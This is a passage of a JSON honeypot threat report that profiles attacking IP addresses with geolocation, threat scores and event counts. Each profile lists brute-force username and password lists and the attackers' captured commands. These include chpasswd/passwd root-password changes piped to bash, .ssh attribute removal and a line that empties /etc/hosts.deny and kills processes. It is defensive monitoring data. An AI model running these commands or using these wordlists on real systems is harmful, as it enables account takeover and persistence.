      "threat_score": 25.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 298,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T16:20:19.841000+00:00",
        "last_seen_30d": "2026-05-21T17:14:10.907000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 223,
        "Suricata": 75
      }
    },
    "23.112.92.90": {
      "attack_count": 219,
      "first_seen": "2026-05-08T08:32:40.238Z",
      "last_seen": "2026-05-08T09:10:04.154Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "admin",
        "ftpuser",
        "git",
        "user",
        "345gs5662d34",
        "administrator",
        "bitrix",
        "guest",
        "jessica",
        "peuser",
        "postgres",
        "postgres1",
        "test",
        "test123",
        "ts3",
        "vpn"
      ],
      "passwords_attempted": [
        "000000",
        "123456a.",
        "321test",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa123456..",
        "Qw123456",
        "a1b2c3d4",
        "abc123",
        "abcd123456789",
        "admin!@#$",
        "asd123",
        "asdf1234",
        "asdqwe123",
        "deploy12",
        "ftpuser#2023",
        "knight",
        "p@ssw0rd12",
        "pass12345",
        "password"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"password123\\nIDbjoZT2J08I\\nIDbjoZT2J08I\\n\"|passwd",
        "echo -e \"password123\\nIDbjoZT2J08I\\nIDbjoZT2J08I\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Lawrence",
      "asn": 7018,
      "as_org": "AT&T Enterprises, LLC",
      "threat_score": 8.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T08:32:40.238000+00:00",
        "last_seen_30d": "2026-05-08T09:11:06.769000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 70
      }
    },
    "68.183.34.126": {
      "attack_count": 219,
      "first_seen": "2026-05-04T22:59:48.947Z",
      "last_seen": "2026-05-04T23:58:11.353Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "admin",
        "root",
        "git",
        "test",
        "user",
        "345gs5662d34",
        "administrator",
        "appldev",
        "ftptest",
        "minecraft",
        "pzserver",
        "reza",
        "svnuser",
        "test1",
        "test2",
        "testuser",
        "tmp"
      ],
      "passwords_attempted": [
        "123456",
        "123456789",
        "159357",
        "3245gs5662d34",
        "345gs5662d34",
        "Pass123",
        "Qazxsw123",
        "a",
        "a12345678",
        "abc123!@#",
        "admin1024",
        "admin12345678",
        "admin520.",
        "adminffffff",
        "alec",
        "appldev123",
        "asd123",
        "asdf",
        "g1tpass",
        "gitgitgit"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"admin12345678\\nEcYwsQRT4sXD\\nEcYwsQRT4sXD\\n\"|passwd",
        "echo -e \"admin12345678\\nEcYwsQRT4sXD\\nEcYwsQRT4sXD\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T22:59:48.947000+00:00",
        "last_seen_30d": "2026-05-04T23:59:11.710000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 70
      }
    },
    "103.146.202.174": {
      "attack_count": 218,
      "first_seen": "2026-05-08T22:54:06.211Z",
      "last_seen": "2026-05-08T23:34:32.738Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ali",
        "345gs5662d34",
        "admin",
        "git1",
        "oracle",
        "postgres",
        "steam",
        "ubuntu",
        "user"
      ],
      "passwords_attempted": [
        "!a123456",
        "123456",
        "123456abcABC",
        "222",
        "222222",
        "3245gs5662d34",
        "345gs5662d34",
        "@123",
        "Admin-2026",
        "Cloud123456",
        "Lapsus123$%",
        "P@$$w0rd@2025",
        "Qwe12345",
        "Ws123456@",
        "Yc@123456",
        "ali1234",
        "b123456",
        "caonima123.",
        "manager",
        "mt123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:07Qt8YsjDFdi\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 8.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 288,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T22:54:06.211000+00:00",
        "last_seen_30d": "2026-05-08T23:35:41.119000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 218,
        "Suricata": 70
      }
    },
    "180.191.122.115": {
      "attack_count": 202,
      "first_seen": "2026-05-22T20:35:31.676Z",
      "last_seen": "2026-05-23T07:44:08.577Z",
      "sessions": 101,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Cagayan de Oro",
      "asn": 4775,
      "as_org": "Globe Telecoms",
      "threat_score": 28.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 303,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T20:35:31.676000+00:00",
        "last_seen_30d": "2026-05-23T07:45:18.783000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 202,
        "Suricata": 101
      }
    },
    "182.93.7.194": {
      "attack_count": 199,
      "first_seen": "2026-05-25T17:18:55.078Z",
      "last_seen": "2026-05-25T19:17:25.591Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "cloud",
        "csuser",
        "curl",
        "geoserver",
        "hello",
        "sms",
        "ubuntu",
        "user1",
        "user4"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456",
        "1234qwer!@#$QWER",
        "9090",
        "@12345678",
        "Abc.12345",
        "Abcd1234!",
        "Qaz123456.",
        "Wangsu@2017",
        "aaaaaaaa",
        "csuser",
        "fjbdfdjkdsfs541544@@",
        "fjbdfdjkdsfs541544AA@@",
        "geoserver123",
        "raspberry",
        "sms",
        "test@123",
        "welltech12"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:Jshqg1OTl1VO\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Macao",
      "country_code": "MO",
      "city": null,
      "asn": 4609,
      "as_org": "Companhia de Telecomunicacoes de Macau SARL",
      "threat_score": 29.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 268,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T17:18:55.078000+00:00",
        "last_seen_30d": "2026-05-25T19:18:25.868000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 199,
        "Suricata": 69
      }
    },
    "160.250.5.205": {
      "attack_count": 191,
      "first_seen": "2026-05-23T16:52:45.748Z",
      "last_seen": "2026-05-23T17:34:26.254Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "aroot",
        "Michelle",
        "admin2",
        "newadmin",
        "test",
        "test3",
        "xh"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123qwe",
        "1qaz2wsx!@",
        "ABcd1234",
        "Michelle",
        "Test@2024",
        "aaa111!!!",
        "admin2",
        "aroot",
        "newadmin",
        "test3"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:bPzfLJ6AO8OR\"|chpasswd|bash",
        "echo \"root:wLmncndWfCQy\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 150895,
      "as_org": "EZ TECHNOLOGY COMPANY LIMITED",
      "threat_score": 26.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 227,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T16:52:45.748000+00:00",
        "last_seen_30d": "2026-05-23T17:35:29.437000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 191,
        "Suricata": 36
      }
    },
    "181.234.16.21": {
      "attack_count": 187,
      "first_seen": "2026-05-24T08:03:04.201Z",
      "last_seen": "2026-05-24T08:41:35.773Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "tejas",
        "steam",
        "ts3server"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "111",
        "12345",
        "123456789@Ab",
        "1qaz@2wsx",
        "Jd@123456",
        "Tencent@123",
        "newpassword123",
        "qazQAZ123",
        "tejas@123",
        "test1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:yFtox1GZIFgi\"|chpasswd|bash",
        "echo \"tejas@123\\njjE6zWJLhJSH\\njjE6zWJLhJSH\\n\"|passwd",
        "echo -e \"tejas@123\\njjE6zWJLhJSH\\njjE6zWJLhJSH\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Cali",
      "asn": 3816,
      "as_org": "COLOMBIA TELECOMUNICACIONES S.A. ESP BIC",
      "threat_score": 27.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 221,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T08:03:04.201000+00:00",
        "last_seen_30d": "2026-05-24T08:42:42.074000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 187,
        "Suricata": 34
      }
    },
    "112.81.45.61": {
      "attack_count": 176,
      "first_seen": "2026-05-20T08:02:16.881Z",
      "last_seen": "2026-05-20T18:09:41.164Z",
      "sessions": 88,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Suzhou",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 23.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 264,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T08:02:16.881000+00:00",
        "last_seen_30d": "2026-05-20T18:10:42.049000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 176,
        "Suricata": 88
      }
    },
    "154.16.180.28": {
      "attack_count": 150,
      "first_seen": "2026-05-08T08:35:28.860Z",
      "last_seen": "2026-05-31T20:19:13.533Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dulles",
      "asn": 215224,
      "as_org": "NovoServe B.V.",
      "threat_score": 54.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.5,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 176,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T08:35:28.860000+00:00",
        "last_seen_30d": "2026-05-31T20:20:17.236000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 100,
        "Suricata": 76
      }
    },
    "68.235.61.155": {
      "attack_count": 132,
      "first_seen": "2026-05-04T19:45:42.164Z",
      "last_seen": "2026-05-31T19:26:07.158Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc.",
      "threat_score": 57.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.9,
        "persistence": 23.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 154,
        "days_active_30d": 28,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T19:45:42.164000+00:00",
        "last_seen_30d": "2026-05-31T19:27:17.241000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 88,
        "Suricata": 66
      }
    },
    "43.162.82.212": {
      "attack_count": 124,
      "first_seen": "2026-05-23T06:34:30.689Z",
      "last_seen": "2026-05-23T07:06:22.318Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "vincent",
        "345gs5662d34",
        "aroot",
        "astra",
        "jeremy",
        "jerry",
        "s"
      ],
      "passwords_attempted": [
        "12345Qwerty",
        "3245gs5662d34",
        "345gs5662d34",
        "Asd123!@#",
        "Huawei@123",
        "Zy123456",
        "a123456@",
        "aroot",
        "astra",
        "jeremy123",
        "jerry",
        "s",
        "vincent"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"vincent\\ncBV6Ib2jPzwV\\ncBV6Ib2jPzwV\\n\"|passwd",
        "echo -e \"vincent\\ncBV6Ib2jPzwV\\ncBV6Ib2jPzwV\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 25.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 156,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T06:34:30.689000+00:00",
        "last_seen_30d": "2026-05-23T07:07:31.433000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 124,
        "Suricata": 32
      }
    },
    "222.107.156.227": {
      "attack_count": 118,
      "first_seen": "2026-05-23T01:04:26.873Z",
      "last_seen": "2026-05-23T01:26:46.067Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "developer",
        "ntps",
        "ubuntu",
        "user"
      ],
      "passwords_attempted": [
        "123456789",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa123456",
        "Qazwsx@123",
        "Qwerty123",
        "Redhat@123",
        "asd123...",
        "developer@123",
        "p@ssw0Rd",
        "qwe123!!",
        "tianyong123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:XqftoXhXcswU\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gangnam-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 25.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 146,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T01:04:26.873000+00:00",
        "last_seen_30d": "2026-05-23T01:27:51.625000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 28
      }
    },
    "104.248.51.133": {
      "attack_count": 103,
      "first_seen": "2026-05-20T02:11:36.630Z",
      "last_seen": "2026-05-20T03:07:44.545Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "root",
        "claude"
      ],
      "passwords_attempted": [
        "Qwert@123",
        "ZAQ!XSW@",
        "claude",
        "elastic",
        "juniper1",
        "pico9182",
        "starhub123",
        "stephen",
        "vpjk,kot"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:ZS9dV2nwHQvP\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 21.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 130,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T02:11:36.630000+00:00",
        "last_seen_30d": "2026-05-20T03:08:45.613000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 103,
        "Suricata": 27
      }
    },
    "37.27.7.160": {
      "attack_count": 102,
      "first_seen": "2026-05-03T17:44:25.944Z",
      "last_seen": "2026-05-19T09:39:57.527Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Finland",
      "country_code": "FI",
      "city": "Helsinki",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 28.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.8,
        "persistence": 14.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 119,
        "days_active_30d": 17,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T17:44:25.944000+00:00",
        "last_seen_30d": "2026-05-19T09:41:04.844000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 68,
        "Suricata": 51
      }
    },
    "211.72.129.211": {
      "attack_count": 99,
      "first_seen": "2026-05-29T22:13:26.259Z",
      "last_seen": "2026-05-29T22:32:53.639Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "airflow",
        "root",
        "345gs5662d34",
        "erwin",
        "hsadmin",
        "tunnel"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "P@ssw0rd2015",
        "Welcome1",
        "airflow",
        "erwin123",
        "himanshu",
        "hsadmin"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
